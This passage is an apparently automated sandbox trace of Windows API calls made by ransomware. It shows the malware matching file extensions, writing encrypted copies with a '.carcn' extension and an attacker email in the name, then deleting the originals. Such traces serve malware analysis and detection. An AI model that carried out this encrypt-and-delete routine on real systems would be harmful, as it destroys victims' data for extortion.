(lpString1=".ppt", lpString2=".dll") returned 1 [0161.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.020] lstrlenW (lpString=".zip") returned 4 [0161.020] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.020] lstrlenW (lpString=".rar") returned 4 [0161.020] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.020] lstrlenW (lpString=".bz2") returned 4 [0161.020] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.020] lstrlenW (lpString=".7z") returned 3 [0161.020] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.020] lstrlenW (lpString=".dbf") returned 4 [0161.020] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.020] lstrlenW (lpString=".1cd") returned 4 [0161.020] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.020] lstrlenW (lpString=".jpg") returned 4 [0161.020] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.021] lstrlenW (lpString=".doc") returned 4 [0161.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.021] lstrlenW (lpString=".docx") returned 5 [0161.021] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.021] lstrlenW (lpString=".pdf") returned 4 [0161.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.021] lstrlenW (lpString=".xls") returned 4 [0161.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.021] lstrlenW (lpString=".xlsx") returned 5 [0161.021] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.021] lstrlenW (lpString=".ppt") returned 4 [0161.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.021] lstrlenW (lpString=".zip") returned 4 [0161.021] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.021] lstrlenW (lpString=".rar") returned 4 [0161.021] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.021] lstrlenW (lpString=".bz2") returned 4 [0161.021] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.021] lstrlenW (lpString=".7z") returned 3 [0161.021] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.021] lstrlenW (lpString=".dbf") returned 4 [0161.021] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.021] lstrlenW (lpString=".1cd") returned 4 [0161.021] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0161.021] lstrlenW (lpString=".jpg") returned 4 [0161.021] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.022] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0161.022] lstrlenW (lpString="SetupResources.dll") returned 18 [0161.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.022] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=18264) returned 1 [0161.022] CloseHandle (hObject=0x300) returned 1 [0161.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0161.022] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.022] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.022] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.039] GetLastError () returned 0x0 [0161.039] ReadFile (in: hFile=0x300, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x4758, lpOverlapped=0x0) returned 1 [0161.119] WriteFile (in: hFile=0x35c, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x4760, lpOverlapped=0x0) returned 1 [0161.120] ReadFile (in: hFile=0x300, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0161.120] WriteFile (in: hFile=0x35c, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.120] SetEndOfFile (hFile=0x35c) returned 1 [0161.120] CloseHandle (hObject=0x35c) returned 1 [0161.121] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.121] SetEndOfFile (hFile=0x300) returned 1 [0161.122] CloseHandle (hObject=0x300) returned 1 [0161.122] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.122] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0161.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.123] lstrlenW (lpString=".doc") returned 4 [0161.123] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.123] lstrlenW (lpString=".docx") returned 5 [0161.123] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.123] lstrlenW (lpString=".pdf") returned 4 [0161.123] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.123] lstrlenW (lpString=".xls") returned 4 [0161.123] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.123] lstrlenW (lpString=".xlsx") returned 5 [0161.123] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.123] lstrlenW (lpString=".ppt") returned 4 [0161.123] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.123] lstrlenW (lpString=".zip") returned 4 [0161.123] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.123] lstrlenW (lpString=".rar") returned 4 [0161.123] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.123] lstrlenW (lpString=".bz2") returned 4 [0161.123] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.123] lstrlenW (lpString=".7z") returned 3 [0161.123] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.123] lstrlenW (lpString=".dbf") returned 4 [0161.123] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.123] lstrlenW (lpString=".1cd") returned 4 [0161.123] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.123] lstrlenW (lpString=".jpg") returned 4 [0161.123] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.124] lstrlenW (lpString=".doc") returned 4 [0161.124] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.124] lstrlenW (lpString=".docx") returned 5 [0161.124] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.124] lstrlenW (lpString=".pdf") returned 4 [0161.124] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.124] lstrlenW (lpString=".xls") returned 4 [0161.124] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.124] lstrlenW (lpString=".xlsx") returned 5 [0161.124] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.124] lstrlenW (lpString=".ppt") returned 4 [0161.124] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.124] lstrlenW (lpString=".zip") returned 4 [0161.124] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.124] lstrlenW (lpString=".rar") returned 4 [0161.124] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.124] lstrlenW (lpString=".bz2") returned 4 [0161.124] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.124] lstrlenW (lpString=".7z") returned 3 [0161.124] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.124] lstrlenW (lpString=".dbf") returned 4 [0161.124] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.124] lstrlenW (lpString=".1cd") returned 4 [0161.124] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0161.124] lstrlenW (lpString=".jpg") returned 4 [0161.124] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.124] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0161.125] lstrlenW (lpString="SetupResources.dll") returned 18 [0161.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.125] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=17752) returned 1 [0161.125] CloseHandle (hObject=0x300) returned 1 [0161.125] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0161.125] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.125] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.125] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0161.145] GetLastError () returned 0x0 [0161.145] ReadFile (in: hFile=0x300, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x4558, lpOverlapped=0x0) returned 1 [0161.352] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x4560, lpOverlapped=0x0) returned 1 [0161.353] ReadFile (in: hFile=0x300, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0161.353] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.353] SetEndOfFile (hFile=0x364) returned 1 [0161.353] CloseHandle (hObject=0x364) returned 1 [0161.354] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.354] SetEndOfFile (hFile=0x300) returned 1 [0161.355] CloseHandle (hObject=0x300) returned 1 [0161.355] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.355] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0161.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.356] lstrlenW (lpString=".doc") returned 4 [0161.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.356] lstrlenW (lpString=".docx") returned 5 [0161.356] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.356] lstrlenW (lpString=".pdf") returned 4 [0161.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.356] lstrlenW (lpString=".xls") returned 4 [0161.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.356] lstrlenW (lpString=".xlsx") returned 5 [0161.356] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.356] lstrlenW (lpString=".ppt") returned 4 [0161.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.356] lstrlenW (lpString=".zip") returned 4 [0161.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.356] lstrlenW (lpString=".rar") returned 4 [0161.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.356] lstrlenW (lpString=".bz2") returned 4 [0161.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.356] lstrlenW (lpString=".7z") returned 3 [0161.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.356] lstrlenW (lpString=".dbf") returned 4 [0161.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.356] lstrlenW (lpString=".1cd") returned 4 [0161.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.356] lstrlenW (lpString=".jpg") returned 4 [0161.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.357] lstrlenW (lpString=".doc") returned 4 [0161.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.357] lstrlenW (lpString=".docx") returned 5 [0161.357] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.357] lstrlenW (lpString=".pdf") returned 4 [0161.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.357] lstrlenW (lpString=".xls") returned 4 [0161.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.357] lstrlenW (lpString=".xlsx") returned 5 [0161.357] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.357] lstrlenW (lpString=".ppt") returned 4 [0161.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.357] lstrlenW (lpString=".zip") returned 4 [0161.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.357] lstrlenW (lpString=".rar") returned 4 [0161.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.357] lstrlenW (lpString=".bz2") returned 4 [0161.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.357] lstrlenW (lpString=".7z") returned 3 [0161.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.357] lstrlenW (lpString=".dbf") returned 4 [0161.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.357] lstrlenW (lpString=".1cd") returned 4 [0161.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0161.357] lstrlenW (lpString=".jpg") returned 4 [0161.358] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.358] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.358] lstrlenW (lpString="Print.ico") returned 9 [0161.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.375] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=1150) returned 1 [0161.375] CloseHandle (hObject=0x34c) returned 1 [0161.375] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0161.376] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.377] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.377] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0161.396] GetLastError () returned 0x0 [0161.396] ReadFile (in: hFile=0x35c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x47e, lpOverlapped=0x0) returned 1 [0161.577] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x480, lpOverlapped=0x0) returned 1 [0161.579] ReadFile (in: hFile=0x35c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0161.579] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xe6, lpOverlapped=0x0) returned 1 [0161.579] SetEndOfFile (hFile=0x364) returned 1 [0161.579] CloseHandle (hObject=0x364) returned 1 [0161.579] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.579] SetEndOfFile (hFile=0x35c) returned 1 [0161.580] CloseHandle (hObject=0x35c) returned 1 [0161.580] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.581] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0161.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.581] lstrlenW (lpString=".doc") returned 4 [0161.581] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.581] lstrlenW (lpString=".docx") returned 5 [0161.581] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0161.581] lstrlenW (lpString=".pdf") returned 4 [0161.581] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.581] lstrlenW (lpString=".xls") returned 4 [0161.581] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.581] lstrlenW (lpString=".xlsx") returned 5 [0161.581] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0161.581] lstrlenW (lpString=".ppt") returned 4 [0161.581] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.581] lstrlenW (lpString=".zip") returned 4 [0161.581] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.581] lstrlenW (lpString=".rar") returned 4 [0161.582] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.582] lstrlenW (lpString=".bz2") returned 4 [0161.582] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.582] lstrlenW (lpString=".7z") returned 3 [0161.582] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.582] lstrlenW (lpString=".dbf") returned 4 [0161.582] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.582] lstrlenW (lpString=".1cd") returned 4 [0161.582] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.582] lstrlenW (lpString=".jpg") returned 4 [0161.582] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.582] lstrlenW (lpString=".doc") returned 4 [0161.582] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.582] lstrlenW (lpString=".docx") returned 5 [0161.582] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0161.582] lstrlenW (lpString=".pdf") returned 4 [0161.582] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.582] lstrlenW (lpString=".xls") returned 4 [0161.582] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.582] lstrlenW (lpString=".xlsx") returned 5 [0161.582] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0161.582] lstrlenW (lpString=".ppt") returned 4 [0161.582] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.583] lstrlenW (lpString=".zip") returned 4 [0161.583] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.583] lstrlenW (lpString=".rar") returned 4 [0161.583] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.583] lstrlenW (lpString=".bz2") returned 4 [0161.583] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.583] lstrlenW (lpString=".7z") returned 3 [0161.583] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.583] lstrlenW (lpString=".dbf") returned 4 [0161.583] lstrcmpiW (lpString1=".dbf", 